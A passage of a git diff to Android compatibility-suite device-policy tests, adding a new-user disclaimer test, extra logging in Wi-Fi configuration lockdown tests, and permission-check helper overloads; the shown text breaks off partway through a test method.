+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/CreateAndManageUserTest.java
@@ -32,6 +32,7 @@
import android.os.IBinder;
import android.os.PersistableBundle;
import android.os.RemoteException;
+import android.os.SystemClock;
import android.os.UserHandle;
import android.os.UserManager;
import android.provider.Settings;
@@ -199,6 +200,63 @@
.containsExactly(userHandle, userHandle);
}
+ public void testCreateAndManageUser_newUserDisclaimer() throws Exception {
+ // First check that the current user doesn't need it
+ UserHandle currentUser = getCurrentUser();
+ Log.d(TAG, "Checking if current user (" + currentUser + ") is acked");
+ assertWithMessage("isNewUserDisclaimerAcknowledged() for current user %s", currentUser)
+ .that(mDevicePolicyManager.isNewUserDisclaimerAcknowledged()).isTrue();
+
+ UserHandle newUser = runCrossUserVerificationSwitchingUser("newUserDisclaimer");
+ PrimaryUserService.assertCrossUserCallArrived();
+ }
+
+ @SuppressWarnings("unused")
+ private static void newUserDisclaimer(Context context, DevicePolicyManager dpm,
+ ComponentName componentName) {
+
+ // Need to wait until host-side granted INTERACT_ACROSS_USERS - use getCurrentUser() to
+ // check
+ int currentUserId = UserHandle.USER_NULL;
+ long maxAttempts = ON_ENABLED_TIMEOUT_SECONDS;
+ int waitingTimeMs = 1_000;
+ int attempt = 0;
+ int myUserId = context.getUserId();
+ do {
+ attempt++;
+ try {
+ Log.d(TAG, "checking if user " + myUserId + " is current user");
+ currentUserId = ActivityManager.getCurrentUser();
+ Log.d(TAG, "currentUserId: " + currentUserId);
+ } catch (SecurityException e) {
+ Log.d(TAG, "Got exception (" + e.getMessage() + ") on attempt #" + attempt
+ + ", waiting " + waitingTimeMs + "ms until app is authorized");
+ SystemClock.sleep(waitingTimeMs);
+
+ }
+ } while (currentUserId != myUserId && attempt < maxAttempts);
+ Log.v(TAG, "Out of the loop, let's hope for the best...");
+
+ if (currentUserId == UserHandle.USER_NULL) {
+ throw new IllegalStateException("App could was not authorized to check current user");
+ }
+ assertWithMessage("current user").that(currentUserId).isEqualTo(myUserId);
+
+ // Now that the plumbing is done, go back to work...
+ Log.d(TAG, "Calling isNewUserDisclaimerAcknowledged()");
+ boolean isAcked = dpm.isNewUserDisclaimerAcknowledged();
+
+ Log.d(TAG, "is it: " + isAcked);
+ assertWithMessage("isNewUserDisclaimerAcknowledged()").that(isAcked).isFalse();
+ Log.d(TAG, "Calling acknowledgeNewUserDisclaimer()");
+ dpm.acknowledgeNewUserDisclaimer();
+
+ Log.d(TAG, "Calling isNewUserDisclaimerAcknowledged() again");
+ isAcked = dpm.isNewUserDisclaimerAcknowledged();
+ Log.d(TAG, "is it now: " + isAcked);
+ assertWithMessage("isNewUserDisclaimerAcknowledged()").that(isAcked).isTrue();
+ }
+
@SuppressWarnings("unused")
private static void assertAffiliatedUser(Context context,
DevicePolicyManager devicePolicyManager, ComponentName componentName) {
@@ -291,6 +349,17 @@
private UserHandle runCrossUserVerification(UserActionCallback callback,
int createAndManageUserFlags, String methodName,
Set<String> currentUserPackages) throws Exception {
+ return runCrossUserVerification(callback, createAndManageUserFlags, methodName,
+ /* switchUser= */ false, currentUserPackages);
+ }
+ private UserHandle runCrossUserVerificationSwitchingUser(String methodName) throws Exception {
+ return runCrossUserVerification(/* callback= */ null, /* createAndManageUserFlags= */ 0,
+ methodName, /* switchUser= */ true, /* currentUserPackages= */ null);
+ }
+
+ private UserHandle runCrossUserVerification(UserActionCallback callback,
+ int createAndManageUserFlags, String methodName, boolean switchUser,
+ Set<String> currentUserPackages) throws Exception {
Log.d(TAG, "runCrossUserVerification(): flags=" + createAndManageUserFlags
+ ", method=" + methodName);
String testUserName = "TestUser_" + System.currentTimeMillis();
@@ -313,7 +382,9 @@
Log.d(TAG, "creating user with PO " + profileOwner);
UserHandle userHandle = createAndManageUser(profileOwner, bundle, createAndManageUserFlags);
- if (callback != null) {
+ if (switchUser) {
+ switchUserAndWaitForBroadcasts(userHandle);
+ } else if (callback != null) {
startUserInBackgroundAndWaitForBroadcasts(callback, userHandle);
} else {
startUserInBackgroundAndWaitForBroadcasts(userHandle);
@@ -474,7 +545,7 @@
public static final class PrimaryUserService extends Service {
private static final Semaphore sSemaphore = new Semaphore(0);
- private static String sError = null;
+ private static String sError;
private final ICrossUserService.Stub mBinder = new ICrossUserService.Stub() {
public void onEnabledCalled(String error) {
@@ -493,6 +564,8 @@
}
static void assertCrossUserCallArrived() throws Exception {
+ Log.v(TAG, "assertCrossUserCallArrived(): waiting " + ON_ENABLED_TIMEOUT_SECONDS
+ + " seconds for callback");
assertWithMessage("cross-user call arrived in %ss", ON_ENABLED_TIMEOUT_SECONDS)
.that(sSemaphore.tryAcquire(ON_ENABLED_TIMEOUT_SECONDS, TimeUnit.SECONDS))
.isTrue();
@@ -504,11 +577,10 @@
}
public static final class SecondaryUserAdminReceiver extends DeviceAdminReceiver {
-
@Override
public void onEnabled(Context context, Intent intent) {
Log.d(TAG, "SecondaryUserAdminReceiver.onEnabled() called on user "
- + context.getUserId());
+ + context.getUserId() + " and thread " + Thread.currentThread());
DevicePolicyManager dpm = context.getSystemService(DevicePolicyManager.class);
ComponentName who = getComponentName(context);
@@ -547,9 +619,13 @@
} catch (InvocationTargetException e) {
error = e.getCause().toString();
}
+ if (error != null) {
+ Log.e(TAG, "Error calling method: " + error);
+ }
// Call all affiliated users
final List<UserHandle> targetUsers = dpm.getBindDeviceAdminTargetUsers(who);
+ Log.d(TAG, "target users: " + targetUsers);
assertWithMessage("target users").that(targetUsers).hasSize(1);
pingTargetUser(context, dpm, targetUsers.get(0), error);
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/WifiConfigLockdownTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/WifiConfigLockdownTest.java
index 89a7b29..d8cb848 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/WifiConfigLockdownTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/WifiConfigLockdownTest.java
@@ -30,6 +30,7 @@
import android.content.Intent;
import android.net.wifi.WifiConfiguration;
+import android.os.Process;
import android.provider.Settings;
import android.util.Log;
@@ -54,6 +55,12 @@
Settings.Global.WIFI_DEVICE_OWNER_CONFIGS_LOCKDOWN, "1");
mWifiConfigCreator.addNetwork(ORIGINAL_DEVICE_OWNER_SSID, true, SECURITY_TYPE_WPA,
ORIGINAL_PASSWORD);
+
+ Log.d(TAG, "setUp: user=" + Process.myUserHandle() + ", creator=" + mWifiConfigCreator
+ + ", dpm=" + mDevicePolicyManager + ", wifiMgr=" + mWifiManager
+ + ", mCurrentUserWifiManager= " + mCurrentUserWifiManager);
+ logConfigs("setup()", getConfiguredNetworks());
+
startRegularActivity(ACTION_CREATE_WIFI_CONFIG, -1, ORIGINAL_REGULAR_SSID,
SECURITY_TYPE_WPA, ORIGINAL_PASSWORD);
}
@@ -62,7 +69,7 @@
protected void tearDown() throws Exception {
mDevicePolicyManager.setGlobalSetting(getWho(),
Settings.Global.WIFI_DEVICE_OWNER_CONFIGS_LOCKDOWN, "0");
- List<WifiConfiguration> configs = mWifiConfigCreator.getConfiguredNetworks();
+ List<WifiConfiguration> configs = getConfiguredNetworks();
logConfigs("tearDown()", configs);
for (WifiConfiguration config : configs) {
if (areMatchingSsids(ORIGINAL_DEVICE_OWNER_SSID, config.SSID) ||
@@ -77,7 +84,7 @@
}
public void testDeviceOwnerCanUpdateConfig() throws Exception {
- List<WifiConfiguration> configs = mWifiConfigCreator.getConfiguredNetworks();
+ List<WifiConfiguration> configs = getConfiguredNetworks();
logConfigs("testDeviceOwnerCanUpdateConfig()", configs);
int updateCount = 0;
for (WifiConfiguration config : configs) {
@@ -105,7 +112,8 @@
}
public void testDeviceOwnerCanRemoveConfig() throws Exception {
- List<WifiConfiguration> configs = mWifiManager.getConfiguredNetworks();
+ List<WifiConfiguration> configs = getConfiguredNetworks();
+ logConfigs("testDeviceOwnerCanRemoveConfig()", configs);
int removeCount = 0;
for (WifiConfiguration config : configs) {
if (areMatchingSsids(ORIGINAL_DEVICE_OWNER_SSID, config.SSID)
@@ -114,20 +122,26 @@
// config, and they are auto-removed when the corresponding config is removed.
// Recheck every config against the latest list of wifi configurations and skip
// those which is already auto-removed.
- if (mWifiManager.getConfiguredNetworks().stream()
- .noneMatch(c -> c.networkId == config.networkId)) continue;
-
- assertWithMessage("mWifiManager.removeNetwork(%s)", config.networkId)
+ Log.d(TAG, "Checking if SSID " + config.SSID + " / id " + config.networkId
+ + " should be removed");
+ if (getConfiguredNetworks().stream()
+ .noneMatch(c -> c.networkId == config.networkId)) {
+ Log.d(TAG, "Skipping it");
+ continue;
+ }
+ Log.d(TAG, "Removing using " + mWifiManager);
+ assertWithMessage("removeNetwork(%s)", config.networkId)
.that(mWifiManager.removeNetwork(config.networkId)).isTrue();
++removeCount;
}
}
+ logConfigs("After removing " + removeCount, configs);
assertWithMessage("number of removed configs (the DO created one and the regular one)")
.that(removeCount).isEqualTo(2);
}
public void testRegularAppCannotUpdateDeviceOwnerConfig() throws Exception {
- List<WifiConfiguration> configs = mWifiConfigCreator.getConfiguredNetworks();
+ List<WifiConfiguration> configs = getConfiguredNetworks();
logConfigs("testRegularAppCannotUpdateDeviceOwnerConfig()", configs);
int updateCount = 0;
for (WifiConfiguration config : configs) {
@@ -143,7 +157,7 @@
.that(updateCount).isAtLeast(1);
// Assert nothing has changed
- configs = mWifiConfigCreator.getConfiguredNetworks();
+ configs = getConfiguredNetworks();
int notChangedCount = 0;
for (WifiConfiguration config : configs) {
Log.d(TAG, "testRegularAppCannotUpdateDeviceOwnerConfig(): testing " + config.SSID);
@@ -158,7 +172,7 @@
}
public void testRegularAppCannotRemoveDeviceOwnerConfig() throws Exception {
- List<WifiConfiguration> configs = mWifiConfigCreator.getConfiguredNetworks();
+ List<WifiConfiguration> configs = getConfiguredNetworks();
logConfigs("testRegularAppCannotUpdateDeviceOwnerConfig()", configs);
int removeCount = 0;
for (WifiConfiguration config : configs) {
@@ -175,7 +189,7 @@
.that(removeCount).isAtLeast(1);
// Assert nothing has changed
- configs = mWifiConfigCreator.getConfiguredNetworks();
+ configs = getConfiguredNetworks();
int notChangedCount = 0;
for (WifiConfiguration config : configs) {
Log.d(TAG, "testRegularAppCannotRemoveDeviceOwnerConfig(): testing " + config.SSID);
@@ -216,6 +230,7 @@
return;
}
Log.d(TAG, prefix + ": " + configs.size() + " configs: "
- + configs.stream().map((c) -> c.SSID).collect(Collectors.toList()));
+ + configs.stream().map((c) -> c.SSID + "/" + c.networkId)
+ .collect(Collectors.toList()));
}
}
diff --git a/hostsidetests/devicepolicy/app/SimpleApp/AndroidManifest.xml b/hostsidetests/devicepolicy/app/SimpleApp/AndroidManifest.xml
index d79c22c..a543c0a 100644
--- a/hostsidetests/devicepolicy/app/SimpleApp/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/SimpleApp/AndroidManifest.xml
@@ -30,11 +30,11 @@
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
</activity>
- <activity android:name=".NonExportedActivity">
- android:exported="false">
+ <activity android:name=".NonExportedActivity"
+ android:exported="false">
</activity>
- <activity android:name=".NonLauncherActivity">
- android:exported="true">
+ <activity android:name=".NonLauncherActivity"
+ android:exported="true">
</activity>
<activity android:name=".SimpleActivityStartService"
android:turnScreenOn="true"
diff --git a/hostsidetests/devicepolicy/app/WifiConfigCreator/src/com/android/cts/deviceowner/wificonfigcreator/WifiConfigCreatorActivity.java b/hostsidetests/devicepolicy/app/WifiConfigCreator/src/com/android/cts/deviceowner/wificonfigcreator/WifiConfigCreatorActivity.java
index 32d53d1..c23ee9c 100644
--- a/hostsidetests/devicepolicy/app/WifiConfigCreator/src/com/android/cts/deviceowner/wificonfigcreator/WifiConfigCreatorActivity.java
+++ b/hostsidetests/devicepolicy/app/WifiConfigCreator/src/com/android/cts/deviceowner/wificonfigcreator/WifiConfigCreatorActivity.java
@@ -16,32 +16,34 @@
package com.android.cts.deviceowner.wificonfigcreator;
+import static com.android.compatibility.common.util.WifiConfigCreator.ACTION_CREATE_WIFI_CONFIG;
+import static com.android.compatibility.common.util.WifiConfigCreator.ACTION_REMOVE_WIFI_CONFIG;
+import static com.android.compatibility.common.util.WifiConfigCreator.ACTION_UPDATE_WIFI_CONFIG;
+import static com.android.compatibility.common.util.WifiConfigCreator.EXTRA_NETID;
+import static com.android.compatibility.common.util.WifiConfigCreator.EXTRA_PASSWORD;
+import static com.android.compatibility.common.util.WifiConfigCreator.EXTRA_SECURITY_TYPE;
+import static com.android.compatibility.common.util.WifiConfigCreator.EXTRA_SSID;
+import static com.android.compatibility.common.util.WifiConfigCreator.SECURITY_TYPE_NONE;
+
import android.app.Activity;
import android.content.Intent;
import android.os.Bundle;
import android.util.Log;
import com.android.compatibility.common.util.WifiConfigCreator;
-import static com.android.compatibility.common.util.WifiConfigCreator.ACTION_CREATE_WIFI_CONFIG;
-import static com.android.compatibility.common.util.WifiConfigCreator.EXTRA_NETID;
-import static com.android.compatibility.common.util.WifiConfigCreator.EXTRA_PASSWORD;
-import static com.android.compatibility.common.util.WifiConfigCreator.EXTRA_SECURITY_TYPE;
-import static com.android.compatibility.common.util.WifiConfigCreator.EXTRA_SSID;
-import static com.android.compatibility.common.util.WifiConfigCreator.ACTION_REMOVE_WIFI_CONFIG;
-import static com.android.compatibility.common.util.WifiConfigCreator.SECURITY_TYPE_NONE;
-import static com.android.compatibility.common.util.WifiConfigCreator.ACTION_UPDATE_WIFI_CONFIG;
/**
* A simple activity to create and manage wifi configurations.
*/
-public class WifiConfigCreatorActivity extends Activity {
+public final class WifiConfigCreatorActivity extends Activity {
private static final String TAG = "WifiConfigCreatorActivity";
@Override
public void onCreate(Bundle icicle) {
super.onCreate(icicle);
- Log.i(TAG, "Created for user " + android.os.Process.myUserHandle());
WifiConfigCreator configCreator = new WifiConfigCreator(this);
+ Log.i(TAG, "onCreate(): user=" + android.os.Process.myUserHandle() + " creator="
+ + configCreator);
try {
Intent intent = getIntent();
String action = intent.getAction();
@@ -49,12 +51,15 @@
String ssid = intent.getStringExtra(EXTRA_SSID);
int securityType = intent.getIntExtra(EXTRA_SECURITY_TYPE, SECURITY_TYPE_NONE);
String password = intent.getStringExtra(EXTRA_PASSWORD);
- configCreator.addNetwork(ssid, false, securityType, password);
+ Log.d(TAG, "Creating network " + ssid);
+ int netId = configCreator.addNetwork(ssid, false, securityType, password);
+ Log.d(TAG, "new id : " + netId);
} else if (ACTION_UPDATE_WIFI_CONFIG.equals(action)) {
int netId = intent.getIntExtra(EXTRA_NETID, -1);
String ssid = intent.getStringExtra(EXTRA_SSID);
int securityType = intent.getIntExtra(EXTRA_SECURITY_TYPE, SECURITY_TYPE_NONE);
String password = intent.getStringExtra(EXTRA_PASSWORD);
+ Log.d(TAG, "Updating network " + ssid + " (id " + netId + ")");
configCreator.updateNetwork(netId, ssid, false, securityType, password);
} else if (ACTION_REMOVE_WIFI_CONFIG.equals(action)) {
int netId = intent.getIntExtra(EXTRA_NETID, -1);
@@ -65,6 +70,7 @@
Log.i(TAG, "Unknown command: " + action);
}
} catch (InterruptedException ie) {
+ Thread.currentThread().interrupt();
Log.e(TAG, "Interrupted while changing wifi settings", ie);
} finally {
finish();
diff --git a/hostsidetests/devicepolicy/app/common/src/com/android/cts/devicepolicy/PermissionUtils.java b/hostsidetests/devicepolicy/app/common/src/com/android/cts/devicepolicy/PermissionUtils.java
index dc32c9a..e6b3e1e 100644
--- a/hostsidetests/devicepolicy/app/common/src/com/android/cts/devicepolicy/PermissionUtils.java
+++ b/hostsidetests/devicepolicy/app/common/src/com/android/cts/devicepolicy/PermissionUtils.java
@@ -137,34 +137,54 @@
}
public static void checkPermission(String permission, int expected, String packageName) {
- assertPermission(permission, packageName, getContext().getPackageManager()
- .checkPermission(permission, packageName), expected);
+ checkPermission(getContext(), permission, expected, packageName);
+ }
+
+ public static void checkPermission(Context context, String permission, int expected,
+ String packageName) {
+ PackageManager pm = context.getPackageManager();
+ Log.d(LOG_TAG, "checkPermission(" + permission + ", " + expected + ", " + packageName
+ + "): " + "using " + pm + " on user " + context.getUser());
+ assertPermission(permission, packageName, pm.checkPermission(permission, packageName),
+ expected);
}
private static void assertPermission(String permission, String packageName, int actual,
int expected) {
- assertWithMessage("Wrong status for permission %s on package %s", permission, packageName)
- .that(actual).isEqualTo(expected);
+ assertWithMessage("Wrong status for permission %s on package %s (where %s=%s and %s=%s)",
+ permission, packageName,
+ expected, permissionToString(expected), actual, permissionToString(actual))
+ .that(actual).isEqualTo(expected);
}
/**
- * Correctly check a runtime permission. This also works for pre-m apps.
+ * Correctly checks a runtime permission. This also works for pre-{@code M} apps.
*/
public static void checkPermissionAndAppOps(String permission, int expected, String packageName)
throws Exception {
- assertPermission(permission, packageName, checkPermissionAndAppOps(permission, packageName),
- expected);
+ checkPermissionAndAppOps(getContext(), permission, expected, packageName);
}
- private static int checkPermissionAndAppOps(String permission, String packageName)
- throws Exception {
- PackageInfo packageInfo = getContext().getPackageManager().getPackageInfo(packageName, 0);
- if (getContext().checkPermission(permission, -1, packageInfo.applicationInfo.uid)
+ /**
+ * Correctly checks a runtime permission. This also works for pre-{@code M} apps.
+ */
+ public static void checkPermissionAndAppOps(Context context, String permission, int expected,
+ String packageName) throws Exception {
+ assertPermission(permission, packageName,
+ checkPermissionAndAppOps(context, permission, packageName), expected);
+ }
+
+ private static int checkPermissionAndAppOps(Context context, String permission,
+ String packageName) throws Exception {
+ Log.d(LOG_TAG, "checkPermissionAndAppOps(): user=" + context.getUser()
+ + ", permission=" + permission + ", packageName=" + packageName);
+ PackageInfo packageInfo = context.getPackageManager().getPackageInfo(packageName, 0);
+ if (context.checkPermission(permission, -1, packageInfo.applicationInfo.uid)
== PERMISSION_DENIED) {
return PERMISSION_DENIED;
}
- AppOpsManager appOpsManager = getContext().getSystemService(AppOpsManager.class);
+ AppOpsManager appOpsManager = context.getSystemService(AppOpsManager.class);
if (appOpsManager != null && appOpsManager.noteProxyOpNoThrow(
AppOpsManager.permissionToOp(permission), packageName,
packageInfo.applicationInfo.uid, null, null)
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDeviceOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDeviceOwnerTest.java
index f15f56c..39f0abd 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDeviceOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDeviceOwnerTest.java
@@ -111,6 +111,11 @@
executeShellCommand("setprop %s '%s'", PROPERTY_STOP_BG_USERS_ON_SWITCH, value);
}
+ protected boolean isPackageInstalledForUser(String packageName, int userId) throws Exception {
+ String result = executeShellCommand("pm list packages --user %d %s", userId, packageName);
+ return result != null && !result.isEmpty();
+ }
+
private void executeDeviceOwnerPackageTestMethod(String className, String testName,
int userId) throws Exception {
runDeviceTestsAsUser(DEVICE_OWNER_PKG, className, testName, userId);
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java
index 994fe8a..b0fb7a1 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java
@@ -76,6 +76,7 @@
@RunWith(DeviceJUnit4ClassRunner.class)
public abstract class BaseDevicePolicyTest extends BaseHostJUnit4Test {
+ private static final String FEATURE_AUTOMOTIVE = "android.hardware.type.automotive";
private static final String FEATURE_BLUETOOTH = "android.hardware.bluetooth";
private static final String FEATURE_CAMERA = "android.hardware.camera";
private static final String FEATURE_CONNECTION_SERVICE = "android.software.connectionservice";
@@ -83,7 +84,6 @@
private static final String FEATURE_LEANBACK = "android.software.leanback";
private static final String FEATURE_NFC = "android.hardware.nfc";
private static final String FEATURE_NFC_BEAM = "android.software.nfc.beam";
-
private static final String FEATURE_PRINT = "android.software.print";
private static final String FEATURE_TELEPHONY = "android.hardware.telephony";
private static final String FEATURE_SECURE_LOCK_SCREEN = "android.software.secure_lock_screen";
@@ -1260,9 +1260,15 @@
allowTestApiAccess(deviceAdminPkg);
}
- protected void allowTestApiAccess(String deviceAdminPkg) throws Exception {
- CLog.i("Granting ALLOW_TEST_API_ACCESS to package %s", deviceAdminPkg);
- executeShellCommand("am compat enable ALLOW_TEST_API_ACCESS %s", deviceAdminPkg);
+ /**
+ * Grants access to APIs marked as {@code @TestApi}.
+ *
+ * <p><b>Note:</b> the {@code application} tag of the app's manifest must contain
+ * {@code android:debuggable="true"}, otherwise it won't work on {@code user} builds.
+ */
+ protected void allowTestApiAccess(String pgkName) throws Exception {
+ CLog.i("Granting ALLOW_TEST_API_ACCESS to package %s", pgkName);
+ executeShellCommand("am compat enable ALLOW_TEST_API_ACCESS %s", pgkName);
}
protected void grantPermission(String pkg, String permission, int userId, String reason)
@@ -1341,6 +1347,10 @@
return hasDeviceFeature(FEATURE_LEANBACK);
}
+ boolean isAutomotive() throws DeviceNotAvailableException {
+ return hasDeviceFeature(FEATURE_AUTOMOTIVE);
+ }
+
void pushUpdateFileToDevice(String fileName)
throws IOException, DeviceNotAvailableException {
File file = File.createTempFile(
@@ -1366,7 +1376,7 @@
}
void sleep(int timeMs) throws InterruptedException {
- CLog.d("Sleeping %d ms");
+ CLog.d("Sleeping %d ms", timeMs);
Thread.sleep(timeMs);
}
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
index 3044ca4..091da10 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
@@ -475,10 +475,12 @@
@RequiresDevice
@Test
public void testAlwaysOnVpnPackageLogged() throws Exception {
+ int userId = getUserIdForAlwaysOnVpnTests();
// Will be uninstalled in tearDown().
- installAppAsUser(VPN_APP_APK, mUserId);
+ installAppAsUser(VPN_APP_APK, userId);
assertMetricsLogged(getDevice(), () -> {
- executeDeviceTestMethod(".AlwaysOnVpnUnsupportedTest", "testSetSupportedVpnAlwaysOn");
+ executeDeviceTestMethod(".AlwaysOnVpnUnsupportedTest", "testSetSupportedVpnAlwaysOn",
+ userId);
}, new DevicePolicyEventWrapper.Builder(EventId.SET_ALWAYS_ON_VPN_PACKAGE_VALUE)
.setAdminPackageName(DEVICE_ADMIN_PKG)
.setStrings(VPN_APP_PKG)
@@ -556,6 +558,10 @@
@Test
public void testPermissionGrantPreMApp() throws Exception {
installAppAsUser(SIMPLE_PRE_M_APP_APK, mUserId);
+
+ if (isHeadlessSystemUserMode()) {
+ installAppAsUser(SIMPLE_PRE_M_APP_APK, mDeviceOwnerUserId);
+ }
executeDeviceTestMethod(".PermissionsTest", "testPermissionGrantState_preMApp");
}
@@ -607,65 +613,11 @@
@Test
public void testApplicationHidden_cannotHidePolicyExemptApps() throws Exception {
+ // Needed to access dpm.getPolicyExemptApps()
+ allowTestApiAccess(DEVICE_ADMIN_PKG);
executeDeviceTestMethod(".ApplicationHiddenTest", "testCannotHidePolicyExemptApps");
}
- // TODO(b/197491427): AccountManager support in TestApp
- @Test
- public void testAccountManagement_userRestrictionAddAccount() throws Exception {
- installAppAsUser(ACCOUNT_MANAGEMENT_APK, mUserId);
- try {
- changeUserRestrictionOrFail(DISALLOW_MODIFY_ACCOUNTS, true, mUserId);
- executeAccountTest("testAddAccount_blocked");
- } finally {
- // Ensure we clear the user restriction
- changeUserRestrictionOrFail(DISALLOW_MODIFY_ACCOUNTS, false, mUserId);
- }
- executeAccountTest("testAddAccount_allowed");
- }
-
- // TODO(b/197491427): AccountManager support in TestApp
- @Test
- public void testAccountManagement_userRestrictionRemoveAccount() throws Exception {
- installAppAsUser(ACCOUNT_MANAGEMENT_APK, mUserId);
- try {
- changeUserRestrictionOrFail(DISALLOW_MODIFY_ACCOUNTS, true, mUserId);
- executeAccountTest("testRemoveAccount_blocked");
- } finally {
- // Ensure we clear the user restriction
- changeUserRestrictionOrFail(DISALLOW_MODIFY_ACCOUNTS, false, mUserId);
- }
- executeAccountTest("testRemoveAccount_allowed");
- }
-
- // TODO(b/197491427): AccountManager support in TestApp
- @Test
- public void testAccountManagement_disabledAddAccount() throws Exception {
- installAppAsUser(ACCOUNT_MANAGEMENT_APK, mUserId);
- try {
- changeAccountManagement(COMMAND_BLOCK_ACCOUNT_TYPE, ACCOUNT_TYPE, mUserId);
- executeAccountTest("testAddAccount_blocked");
- } finally {
- // Ensure we remove account management policies
- changeAccountManagement(COMMAND_UNBLOCK_ACCOUNT_TYPE, ACCOUNT_TYPE, mUserId);
- }
- executeAccountTest("testAddAccount_allowed");
- }
-
- // TODO(b/197491427): AccountManager support in TestApp
- @Test
- public void testAccountManagement_disabledRemoveAccount() throws Exception {
- installAppAsUser(ACCOUNT_MANAGEMENT_APK, mUserId);
- try {
- changeAccountManagement(COMMAND_BLOCK_ACCOUNT_TYPE, ACCOUNT_TYPE, mUserId);
- executeAccountTest("testRemoveAccount_blocked");
- } finally {
- // Ensure we remove account management policies
- changeAccountManagement(COMMAND_UNBLOCK_ACCOUNT_TYPE, ACCOUNT_TYPE, mUserId);
- }
- executeAccountTest("testRemoveAccount_allowed");
- }
-
@Test
public void testDelegatedCertInstaller() throws Exception {
installAppAsUser(CERT_INSTALLER_APK, mUserId);
@@ -865,6 +817,10 @@
final String SECURE_SETTING_CATEGORY = "secure";
final String GLOBAL_SETTING_CATEGORY = "global";
final File apk = mBuildHelper.getTestFile(TEST_APP_APK);
+
+ // Needed to access dpm.getPolicyExemptApps()
+ allowTestApiAccess(DEVICE_ADMIN_PKG);
+
try {
// Install the test and prepare the test apk.
installAppAsUser(PACKAGE_INSTALLER_APK, mUserId);
@@ -1229,6 +1185,8 @@
executeDeviceTestClass(".KeyManagementTest");
}
+ @TemporarilyIgnoreOnHeadlessSystemUserMode(bugId = "218408549",
+ reason = "Will be migrated to new test infra")
@Test
public void testInstallKeyPairLogged() throws Exception {
assertMetricsLogged(getDevice(), () -> {
@@ -1270,8 +1228,6 @@
}
- @TemporarilyIgnoreOnHeadlessSystemUserMode(bugId = "197859595",
- reason = "Will be migrated to new test infra")
@Test
public void testSetKeyPairCertificateLogged() throws Exception {
assertMetricsLogged(getDevice(), () -> {
@@ -1335,6 +1291,16 @@
@Test
public void testPasswordMethodsLogged() throws Exception {
+ if (isAutomotive()) {
+ assertMetricsLogged(getDevice(), () -> {
+ executeDeviceTestMethod(".DevicePolicyLoggingTest", "testPasswordMethodsLogged");
+ }, new DevicePolicyEventWrapper.Builder(EventId.SET_PASSWORD_COMPLEXITY_VALUE)
+ .setAdminPackageName(DEVICE_ADMIN_PKG)
+ .setInt(0x50000)
+ .setBoolean(false)
+ .build());
+ return;
+ }
assertMetricsLogged(getDevice(), () -> {
executeDeviceTestMethod(".DevicePolicyLoggingTest", "testPasswordMethodsLogged");
}, new DevicePolicyEventWrapper.Builder(EventId.SET_PASSWORD_QUALITY_VALUE)
@@ -1772,7 +1738,12 @@
protected void installAppPermissionAppAsUser()
throws FileNotFoundException, DeviceNotAvailableException {
- installAppAsUser(PERMISSIONS_APP_APK, false, mUserId);
+ installAppPermissionAppAsUser(mUserId);
+ }
+
+ protected final void installAppPermissionAppAsUser(int userId)
+ throws FileNotFoundException, DeviceNotAvailableException {
+ installAppAsUser(PERMISSIONS_APP_APK, false, userId);
}
private void executeSuspendPackageTestMethod(String testName) throws Exception {
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
index 17c2d48..bf7186d 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
@@ -332,6 +332,53 @@
executeCreateAndManageUserTest("testCreateAndManageUser_RemoveRestrictionSet");
}
+ @Test
+ public void testCreateAndManageUser_newUserDisclaimer() throws Exception {
+ assumeCanStartNewUser();
+
+ // TODO(b/217367529) - we need to grant INTERACT_ACROSS_USERS to the test app in the new
+ // user, so the test is retrying until it gets it, which is done in this thread - not the
+ // best approach, but given that the test cases are being migrated to the new infra,
+ // it's good enough enough...
+ int waitingTimeMs = 5_000;
+ final int maxAttempts = 10;
+ new Thread(() -> {
+ int attempt = 0;
+ boolean granted = false;
+ while (!granted && ++attempt <= maxAttempts) {
+ try {
+ List<Integer> newUsers = getUsersCreatedByTests();
+ if (!newUsers.isEmpty()) {
+ for (int userId : newUsers) {
+ CLog.i("Checking if user %d is current user", userId);
+ int currentUser = getCurrentUser();
+ if (currentUser != userId) continue;
+ CLog.i("Checking if user %d has the package", userId);
+ if (!isPackageInstalledForUser(DEVICE_OWNER_PKG, userId)) continue;
+ grantPermission(DEVICE_OWNER_PKG, PERMISSION_INTERACT_ACROSS_USERS,
+ userId, "to call isNewUserDisclaimerAcknowledged() and "
+ + "acknowledgeNewUserDisclaimer()");
+ granted = true;
+ }
+ }
+
+ if (!granted) {
+ CLog.i("Waiting %dms until new user is switched and package installed "
+ + "to grant INTERACT_ACROSS_USERS", waitingTimeMs);
+ }
+ sleep(waitingTimeMs);
+ } catch (Exception e) {
+ CLog.e(e);
+ return;
+ }
+ }
